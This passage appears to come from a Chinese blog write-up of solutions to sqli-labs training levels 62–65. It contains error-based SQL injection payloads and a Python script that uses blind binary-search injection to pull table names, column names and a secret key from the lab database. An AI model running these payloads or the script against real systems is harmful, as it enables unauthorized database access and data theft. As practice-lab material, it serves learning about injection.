updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’UEEUBQKDFE’),0x26),1)%23 secret_RMS1 ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(secret_RMS1),30) from challenges.UEEUBQKDFE),0x26),1)%23 KnCHCTocAwPG2sToN2wUczxu\nlevel 62 上脚本\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requests import time import string url = \u0026#34;http://100.100.1.20/Less-62/index.php\u0026#34; def quick(load): result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 payload = load % (i,mid) # print(url+payload) r=requests.get(url+payload) # print(r.text) if \u0026#34;Your Login name : Angelina\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) return result table_name = quick( \u0026#34;?id=1\u0026#39;)and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=\u0026#39;challenges\u0026#39;),%s,1))\u0026gt;%s,1,0)%%23\u0026#34; ) print(\u0026#34;table_name:\u0026#34;+table_name) column_name = quick( \u0026#34;?id=1\u0026#39;)and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=\u0026#39;\u0026#34;+table_name+\u0026#34;\u0026#39;),%s,1))\u0026gt;%s,1,0)%%23\u0026#34; ) column_name=column_name[10:21] print(\u0026#34;column_name:\u0026#34;+column_name) secret_key=quick( \u0026#34;?id=1\u0026#39;)and if(ascii(substr((select(group_concat(\u0026#34;+column_name+\u0026#34;))from(challenges.\u0026#34;+table_name+\u0026#34;)),%s,1))\u0026gt;%s,1,0)%%23\u0026#34; ) print(secret_key) 唯快不破\nlevel 63 闭合方式改为’\nlevel 64 闭合方式改为))\nlevel 65 闭合”)\n","date":"2021-07-20T00:00:00Z","permalink":"/2021/07/20/sql-labs/","title":"SQL-Labs 刷题记录"}]